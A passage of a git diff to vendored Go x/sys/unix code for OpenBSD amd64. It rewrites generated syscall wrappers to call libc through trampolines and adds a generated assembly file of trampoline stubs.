Syscall6(SYS_LSEEK, uintptr(fd), 0, uintptr(offset), uintptr(whence), 0, 0) + r0, _, e1 := syscall_syscall(libc_lseek_trampoline_addr, uintptr(fd), uintptr(offset), uintptr(whence)) newoffset = int64(r0) if e1 != 0 { err = errnoErr(e1) @@ -1302,10 +1706,14 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) { return } +var libc_lseek_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_lseek lseek "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) { - r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0) + r0, _, e1 := syscall_syscall6(libc_select_trampoline_addr, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1313,36 +1721,52 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err return } +var libc_select_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_select select "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setegid(egid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETEGID, uintptr(egid), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_setegid_trampoline_addr, uintptr(egid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setegid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setegid setegid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Seteuid(euid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_seteuid_trampoline_addr, uintptr(euid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_seteuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_seteuid seteuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setgid(gid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_setgid_trampoline_addr, uintptr(gid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setgid setgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setlogin(name string) (err error) { @@ -1351,97 +1775,133 @@ func Setlogin(name string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_setlogin_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setlogin_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setlogin setlogin "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpgid(pid int, pgid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0) + _, _, e1 := syscall_rawSyscall(libc_setpgid_trampoline_addr, uintptr(pid), uintptr(pgid), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setpgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setpgid setpgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpriority(which int, who int, prio int) (err error) { - _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio)) + _, _, e1 := syscall_syscall(libc_setpriority_trampoline_addr, uintptr(which), uintptr(who), uintptr(prio)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setpriority_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setpriority setpriority "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setregid(rgid int, egid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0) + _, _, e1 := syscall_rawSyscall(libc_setregid_trampoline_addr, uintptr(rgid), uintptr(egid), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setregid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setregid setregid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setreuid(ruid int, euid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0) + _, _, e1 := syscall_rawSyscall(libc_setreuid_trampoline_addr, uintptr(ruid), uintptr(euid), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setreuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setreuid setreuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setresgid(rgid int, egid int, sgid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETRESGID, uintptr(rgid), uintptr(egid), uintptr(sgid)) + _, _, e1 := syscall_rawSyscall(libc_setresgid_trampoline_addr, uintptr(rgid), uintptr(egid), uintptr(sgid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setresgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setresgid setresgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setresuid(ruid int, euid int, suid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETRESUID, uintptr(ruid), uintptr(euid), uintptr(suid)) + _, _, e1 := syscall_rawSyscall(libc_setresuid_trampoline_addr, uintptr(ruid), uintptr(euid), uintptr(suid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setresuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setresuid setresuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setrlimit(which int, lim *Rlimit) (err error) { - _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) + _, _, e1 := syscall_rawSyscall(libc_setrlimit_trampoline_addr, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setrlimit_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setrlimit setrlimit "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setrtable(rtable int) (err error) { - _, _, e1 := RawSyscall(SYS_SETRTABLE, uintptr(rtable), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_setrtable_trampoline_addr, uintptr(rtable), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setrtable_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setrtable setrtable "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setsid() (pid int, err error) { - r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0) + r0, _, e1 := syscall_rawSyscall(libc_setsid_trampoline_addr, 0, 0, 0) pid = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1449,26 +1909,38 @@ func Setsid() (pid int, err error) { return } +var libc_setsid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setsid setsid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Settimeofday(tp *Timeval) (err error) { - _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_settimeofday_trampoline_addr, uintptr(unsafe.Pointer(tp)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_settimeofday_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_settimeofday settimeofday "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setuid(uid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_setuid_trampoline_addr, uintptr(uid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setuid setuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Stat(path string, stat *Stat_t) (err error) { @@ -1477,13 +1949,17 @@ func Stat(path string, stat *Stat_t) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_stat_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_stat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_stat stat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Statfs(path string, stat *Statfs_t) (err error) { @@ -1492,13 +1968,17 @@ func Statfs(path string, stat *Statfs_t) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_statfs_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_statfs_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_statfs statfs "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Symlink(path string, link string) (err error) { @@ -1512,13 +1992,17 @@ func Symlink(path string, link string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) + _, _, e1 := syscall_syscall(libc_symlink_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_symlink_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_symlink symlink "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) { @@ -1532,23 +2016,31 @@ func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1))) + _, _, e1 := syscall_syscall(libc_symlinkat_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1))) if e1 != 0 { err = errnoErr(e1) } return } +var libc_symlinkat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_symlinkat symlinkat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Sync() (err error) { - _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0) + _, _, e1 := syscall_syscall(libc_sync_trampoline_addr, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_sync_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sync sync "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Truncate(path string, length int64) (err error) { @@ -1557,21 +2049,29 @@ func Truncate(path string, length int64) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), 0, uintptr(length)) + _, _, e1 := syscall_syscall(libc_truncate_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_truncate_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_truncate truncate "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Umask(newmask int) (oldmask int) { - r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0) + r0, _, _ := syscall_syscall(libc_umask_trampoline_addr, uintptr(newmask), 0, 0) oldmask = int(r0) return } +var libc_umask_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_umask umask "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unlink(path string) (err error) { @@ -1580,13 +2080,17 @@ func Unlink(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_unlink_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_unlink_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_unlink unlink "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unlinkat(dirfd int, path string, flags int) (err error) { @@ -1595,13 +2099,17 @@ func Unlinkat(dirfd int, path string, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags)) + _, _, e1 := syscall_syscall(libc_unlinkat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_unlinkat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_unlinkat unlinkat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unmount(path string, flags int) (err error) { @@ -1610,13 +2118,17 @@ func Unmount(path string, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) + _, _, e1 := syscall_syscall(libc_unmount_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_unmount_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_unmount unmount "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func write(fd int, p []byte) (n int, err error) { @@ -1626,7 +2138,7 @@ func write(fd int, p []byte) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p))) + r0, _, e1 := syscall_syscall(libc_write_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1634,10 +2146,14 @@ func write(fd int, p []byte) (n int, err error) { return } +var libc_write_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_write write "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) { - r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), 0, uintptr(pos), 0, 0) + r0, _, e1 := syscall_syscall6(libc_mmap_trampoline_addr, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos)) ret = uintptr(r0) if e1 != 0 { err = errnoErr(e1) @@ -1645,20 +2161,28 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) ( return } +var libc_mmap_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mmap mmap "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func munmap(addr uintptr, length uintptr) (err error) { - _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0) + _, _, e1 := syscall_syscall(libc_munmap_trampoline_addr, uintptr(addr), uintptr(length), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_munmap_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_munmap munmap "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func readlen(fd int, buf *byte, nbuf int) (n int, err error) { - r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) + r0, _, e1 := syscall_syscall(libc_read_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1669,7 +2193,7 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) { // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func writelen(fd int, buf *byte, nbuf int) (n int, err error) { - r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) + r0, _, e1 := syscall_syscall(libc_write_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1685,9 +2209,13 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error if err != nil { return } - _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } + +var libc_utimensat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_utimensat utimensat "libc.so" diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s new file mode 100644 index 000000000..243a6663c --- /dev/null +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s @@ -0,0 +1,796 @@ +// go run mkasm.go openbsd amd64 +// Code generated by the command above; DO NOT EDIT. + +#include "textflag.h" + +TEXT libc_getgroups_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getgroups(SB) + +GLOBL ·libc_getgroups_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getgroups_trampoline_addr(SB)/8, $libc_getgroups_trampoline<>(SB) + +TEXT libc_setgroups_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setgroups(SB) + +GLOBL ·libc_setgroups_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setgroups_trampoline_addr(SB)/8, $libc_setgroups_trampoline<>(SB) + +TEXT libc_wait4_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_wait4(SB) + +GLOBL ·libc_wait4_trampoline_addr(SB), RODATA, $8 +DATA ·libc_wait4_trampoline_addr(SB)/8, $libc_wait4_trampoline<>(SB) + +TEXT libc_accept_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_accept(SB) + +GLOBL ·libc_accept_trampoline_addr(SB), RODATA, $8 +DATA ·libc_accept_trampoline_addr(SB)/8, $libc_accept_trampoline<>(SB) + +TEXT libc_bind_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_bind(SB) + +GLOBL ·libc_bind_trampoline_addr(SB), RODATA, $8 +DATA ·libc_bind_trampoline_addr(SB)/8, $libc_bind_trampoline<>(SB) + +TEXT libc_connect_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_connect(SB) + +GLOBL ·libc_connect_trampoline_addr(SB), RODATA, $8 +DATA ·libc_connect_trampoline_addr(SB)/8, $libc_connect_trampoline<>(SB) + +TEXT libc_socket_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_socket(SB) + +GLOBL ·libc_socket_trampoline_addr(SB), RODATA, $8 +DATA ·libc_socket_trampoline_addr(SB)/8, $libc_socket_trampoline<>(SB) + +TEXT libc_getsockopt_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getsockopt(SB) + +GLOBL ·libc_getsockopt_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getsockopt_trampoline_addr(SB)/8, $libc_getsockopt_trampoline<>(SB) + +TEXT libc_setsockopt_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setsockopt(SB) + +GLOBL ·libc_setsockopt_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setsockopt_trampoline_addr(SB)/8, $libc_setsockopt_trampoline<>(SB) + +TEXT libc_getpeername_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpeername(SB) + +GLOBL ·libc_getpeername_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getpeername_trampoline_addr(SB)/8, $libc_getpeername_trampoline<>(SB) + +TEXT libc_getsockname_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getsockname(SB) + +GLOBL ·libc_getsockname_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getsockname_trampoline_addr(SB)/8, $libc_getsockname_trampoline<>(SB) + +TEXT libc_shutdown_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_shutdown(SB) + +GLOBL ·libc_shutdown_trampoline_addr(SB), RODATA, $8 +DATA ·libc_shutdown_trampoline_addr(SB)/8, $libc_shutdown_trampoline<>(SB) + +TEXT libc_socketpair_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_socketpair(SB) + +GLOBL ·libc_socketpair_trampoline_addr(SB), RODATA, $8 +DATA ·libc_socketpair_trampoline_addr(SB)/8, $libc_socketpair_trampoline<>(SB) + +TEXT libc_recvfrom_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_recvfrom(SB) + +GLOBL ·libc_recvfrom_trampoline_addr(SB), RODATA, $8 +DATA ·libc_recvfrom_trampoline_addr(SB)/8, $libc_recvfrom_trampoline<>(SB) + +TEXT libc_sendto_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sendto(SB) + +GLOBL ·libc_sendto_trampoline_addr(SB), RODATA, $8 +DATA ·libc_sendto_trampoline_addr(SB)/8, $libc_sendto_trampoline<>(SB) + +TEXT libc_recvmsg_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_recvmsg(SB) + +GLOBL ·libc_recvmsg_trampoline_addr(SB), RODATA, $8 +DATA ·libc_recvmsg_trampoline_addr(SB)/8, $libc_recvmsg_trampoline<>(SB) + +TEXT libc_sendmsg_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sendmsg(SB) + +GLOBL ·libc_sendmsg_trampoline_addr(SB), RODATA, $8 +DATA ·libc_sendmsg_trampoline_addr(SB)/8, $libc_sendmsg_trampoline<>(SB) + +TEXT libc_kevent_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_kevent(SB) + +GLOBL ·libc_kevent_trampoline_addr(SB), RODATA, $8 +DATA ·libc_kevent_trampoline_addr(SB)/8, $libc_kevent_trampoline<>(SB) + +TEXT libc_utimes_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_utimes(SB) + +GLOBL ·libc_utimes_trampoline_addr(SB), RODATA, $8 +DATA ·libc_utimes_trampoline_addr(SB)/8, $libc_utimes_trampoline<>(SB) + +TEXT libc_futimes_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_futimes(SB) + +GLOBL ·libc_futimes_trampoline_addr(SB), RODATA, $8 +DATA ·libc_futimes_trampoline_addr(SB)/8, $libc_futimes_trampoline<>(SB) + +TEXT libc_poll_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_poll(SB) + +GLOBL ·libc_poll_trampoline_addr(SB), RODATA, $8 +DATA ·libc_poll_trampoline_addr(SB)/8, $libc_poll_trampoline<>(SB) + +TEXT libc_madvise_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_madvise(SB) + +GLOBL ·libc_madvise_trampoline_addr(SB), RODATA, $8 +DATA ·libc_madvise_trampoline_addr(SB)/8, $libc_madvise_trampoline<>(SB) + +TEXT libc_mlock_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mlock(SB) + +GLOBL ·libc_mlock_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mlock_trampoline_addr(SB)/8, $libc_mlock_trampoline<>(SB) + +TEXT libc_mlockall_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mlockall(SB) + +GLOBL ·libc_mlockall_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mlockall_trampoline_addr(SB)/8, $libc_mlockall_trampoline<>(SB) + +TEXT libc_mprotect_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mprotect(SB) + +GLOBL ·libc_mprotect_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mprotect_trampoline_addr(SB)/8, $libc_mprotect_trampoline<>(SB) + +TEXT libc_msync_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_msync(SB) + +GLOBL ·libc_msync_trampoline_addr(SB), RODATA, $8 +DATA ·libc_msync_trampoline_addr(SB)/8, $libc_msync_trampoline<>(SB) + +TEXT libc_munlock_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_munlock(SB) + +GLOBL ·libc_munlock_trampoline_addr(SB), RODATA, $8 +DATA ·libc_munlock_trampoline_addr(SB)/8, $libc_munlock_trampoline<>(SB) + +TEXT libc_munlockall_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_munlockall(SB) + +GLOBL ·libc_munlockall_trampoline_addr(SB), RODATA, $8 +DATA ·libc_munlockall_trampoline_addr(SB)/8, $libc_munlockall_trampoline<>(SB) + +TEXT libc_pipe2_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_pipe2(SB) + +GLOBL ·libc_pipe2_trampoline_addr(SB), RODATA, $8 +DATA ·libc_pipe2_trampoline_addr(SB)/8, $libc_pipe2_trampoline<>(SB) + +TEXT libc_getdents_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getdents(SB) + +GLOBL ·libc_getdents_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getdents_trampoline_addr(SB)/8, $libc_getdents_trampoline<>(SB) + +TEXT libc_getcwd_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getcwd(SB) + +GLOBL ·libc_getcwd_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getcwd_trampoline_addr(SB)/8, $libc_getcwd_trampoline<>(SB) + +TEXT libc_ioctl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_ioctl(SB) + +GLOBL ·libc_ioctl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_ioctl_trampoline_addr(SB)/8, $libc_ioctl_trampoline<>(SB) + +TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sysctl(SB) + +GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) + +TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_ppoll(SB) + +GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8 +DATA ·libc_ppoll_trampoline_addr(SB)/8, $libc_ppoll_trampoline<>(SB) + +TEXT libc_access_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_access(SB) + +GLOBL ·libc_access_trampoline_addr(SB), RODATA, $8 +DATA ·libc_access_trampoline_addr(SB)/8, $libc_access_trampoline<>(SB) + +TEXT libc_adjtime_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_adjtime(SB) + +GLOBL ·libc_adjtime_trampoline_addr(SB), RODATA, $8 +DATA ·libc_adjtime_trampoline_addr(SB)/8, $libc_adjtime_trampoline<>(SB) + +TEXT libc_chdir_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chdir(SB) + +GLOBL ·libc_chdir_trampoline_addr(SB), RODATA, $8 +DATA ·libc_chdir_trampoline_addr(SB)/8, $libc_chdir_trampoline<>(SB) + +TEXT libc_chflags_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chflags(SB) + +GLOBL ·libc_chflags_trampoline_addr(SB), RODATA, $8 +DATA ·libc_chflags_trampoline_addr(SB)/8, $libc_chflags_trampoline<>(SB) + +TEXT libc_chmod_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chmod(SB) + +GLOBL ·libc_chmod_trampoline_addr(SB), RODATA, $8 +DATA ·libc_chmod_trampoline_addr(SB)/8, $libc_chmod_trampoline<>(SB) + +TEXT libc_chown_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chown(SB) + +GLOBL ·libc_chown_trampoline_addr(SB), RODATA, $8 +DATA ·libc_chown_trampoline_addr(SB)/8, $libc_chown_trampoline<>(SB) + +TEXT libc_chroot_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chroot(SB) + +GLOBL ·libc_chroot_trampoline_addr(SB), RODATA, $8 +DATA ·libc_chroot_trampoline_addr(SB)/8, $libc_chroot_trampoline<>(SB) + +TEXT libc_close_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_close(SB) + +GLOBL ·libc_close_trampoline_addr(SB), RODATA, $8 +DATA ·libc_close_trampoline_addr(SB)/8, $libc_close_trampoline<>(SB) + +TEXT libc_dup_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_dup(SB) + +GLOBL ·libc_dup_trampoline_addr(SB), RODATA, $8 +DATA ·libc_dup_trampoline_addr(SB)/8, $libc_dup_trampoline<>(SB) + +TEXT libc_dup2_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_dup2(SB) + +GLOBL ·libc_dup2_trampoline_addr(SB), RODATA, $8 +DATA 